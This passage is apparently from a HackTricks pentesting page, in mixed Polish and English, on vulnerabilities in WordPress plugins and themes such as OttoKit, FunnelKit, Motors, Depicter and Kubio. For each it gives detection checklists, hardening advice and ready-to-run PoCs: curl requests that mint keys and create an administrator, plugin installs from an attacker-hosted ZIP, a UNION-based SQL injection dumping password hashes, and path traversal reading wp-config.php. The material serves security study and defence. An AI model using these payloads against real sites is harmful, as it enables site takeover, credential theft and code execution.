- HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by(‘email’, …) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Niektóre wtyczki udostępniają endpointy REST, które wydają wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli trasa uwierzytelnia się tylko na podstawie przewidywalnego atrybutu (np. username) i nie wiąże klucza z użytkownikiem/sesją z użyciem sprawdzeń capability, dowolny nieuwierzytelniony atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Dlaczego to jest podatne na atak
- Wrażliwa REST route chroniona jedynie słabym dowodem tożsamości o niskiej entropii (username) lub brakującym permission_callback
- Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalne obejście
Lista kontrolna wykrywania
- Przeszukaj kod pluginu (grep) w poszukiwaniu register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Każda trasa, która wydaje tokens/keys na podstawie tożsamości podanej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability
- Szukaj kolejnych tras, które akceptują wygenerowany token/klucz bez serwerowych kontroli capability
Wzmocnienie
- Dla każdej uprzywilejowanej REST route: wymuszaj permission_callback, które wywołuje current_user_can() dla wymaganej capability
- Nie generuj długowiecznych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability podczas użycia
- Weryfikuj kontekst użytkownika wywołującego (wp_set_current_user samo w sobie nie wystarczy) i odrzucaj żądania, gdy !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → nieuwierzytelniona dowolna instalacja pluginu (FunnelKit Automations ≤ 3.5.3)
Nonces zapobiegają CSRF, nie są mechanizmem autoryzacji. Jeśli kod traktuje pozytywną weryfikację nonce jako zielone światło i pomija kontrole capability dla uprzywilejowanych operacji (np. install/activate plugins), nieuwierzytelnieni atakujący mogą spełnić słaby wymóg nonce i osiągnąć RCE poprzez zainstalowanie backdoored lub podatnego pluginu.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (kształt zależny od pluginu; tylko ilustracyjne)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Lista kontrolna wykrywania
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Wzmacnianie
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can(‘install_plugins’) and current_user_can(‘activate_plugins’) before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
Subscriber+ AJAX plugin installer → wymuszona złośliwa aktywacja (Motors Theme ≤ 5.6.81)
Patchstack’s analysis showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Tylko
check_ajax_referer()jest wywoływane; nie macurrent_user_can('install_plugins')anicurrent_user_can('activate_plugins'). - Nonce jest osadzony na stronie administracyjnej Motors, więc każdy użytkownik o roli Subscriber, który może otworzyć
/wp-admin/, może go skopiować z HTML/JS. - Handler ufa kontrolowanemu przez atakującego parametrowi
plugin(czytanemu z$_GET) i przekazuje go doPlugin_Upgrader::install(), więc dowolne zdalne ZIP zostanie pobrane dowp-content/plugins/. - Po instalacji motyw jednoznacznie wywołuje
mvl_theme_activate_plugin(), gwarantując wykonanie kodu PHP z pluginu atakującego.
Przebieg eksploatacji
- Zarejestruj/przejmij konto o niskich uprawnieniach (wystarczy Subscriber) i zdobądź nonce
mvl_theme_install_basez panelu Motors. - Zbuduj plugin ZIP, którego katalog najwyższego poziomu odpowiada oczekiwanemu slugowi
motors-car-dealership-classified-listings/i osadź backdoor lub webshell w punktach wejścia*.php. - Hostuj ZIP i uruchom instalator, wskazując handler na swój URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Ponieważ handler odczytuje $_GET['plugin'], ten sam payload można również wysłać przez query string.
Lista kontrolna wykrywania
- Przeszukaj motywy/wtyczki pod kątem
Plugin_Upgrader,Theme_Upgrader, lub niestandardowych helperówinstall_plugin.phppodłączonych do hookówwp_ajax_*bez sprawdzeń uprawnień. - Sprawdź każdy handler, który przyjmuje parametr
plugin,package,sourceluburli przekazuje go do upgrader APIs, szczególnie gdy slug jest zakodowany na stałe, ale zawartość ZIP nie jest weryfikowana. - Przejrzyj strony admina, które ujawniają nonces dla akcji instalatora — jeśli Subscribers mogą załadować stronę, assume the nonce leaks.
Hardening
- Gate installer AJAX callbacks with
current_user_can('install_plugins')andcurrent_user_can('activate_plugins')after nonce verification; Motors 5.6.82 introduced this check to patch the bug. - Refuse untrusted URLs: limit installers to bundled ZIPs or trusted repositories, or enforce signed download manifests.
- Treat nonces strictly as CSRF tokens; they do not provide authorization and should never replace capability checks.
Nieuwierzytelnione SQLi poprzez parametr s w akcjach depicter-* (Depicter Slider ≤ 3.6.1)
Kilka akcji depicter-* odczytywało parametr s (search) i konkatenowało go do zapytań SQL bez parametryzacji.
- Parametr: s (search)
- Błąd: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Wpływ: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Lista kontrolna wykrywania
- Grep for depicter-* action handlers and direct use of $_GET[‘s’] or $_POST[‘s’] in SQL
- Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query() łączące s
Wzmacnianie zabezpieczeń
- Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane znaki specjalne po stronie serwera
- Dodaj ścisłą listę dozwolonych wartości dla s i znormalizuj do oczekiwanego zestawu znaków/długości
Unauthenticated Local File Inclusion przez niezweryfikowaną ścieżkę szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1)
Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze template bez normalizacji/izolacji umożliwia odczyt dowolnych lokalnych plików, a czasami wykonanie kodu, jeśli includowalne pliki PHP/log zostaną załadowane podczas wykonywania.
- Parametr: __kubio-site-edit-iframe-classic-template
- Błąd: brak normalizacji/listy dozwolonych; traversal dozwolony
- Wpływ: ujawnienie sekretów (wp-config.php), potencjalne RCE w określonych środowiskach (log poisoning, includable PHP)
PoC – odczyt wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Lista kontrolna wykrywania
- Dowolny handler łączący ścieżki żądań bezpośrednio w include()/require()/read sinki bez ograniczenia przez realpath()
- Szukaj wzorców traversal (../) prowadzących poza zamierzony katalog szablonów
Wzmocnienie
- Wymuszaj użycie szablonów z listy dozwolonych; rozwiązuj przez realpath() i wymagaj str_starts_with(realpath(file), realpath(allowed_base))
- Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki absolutne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek)
Referencje
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


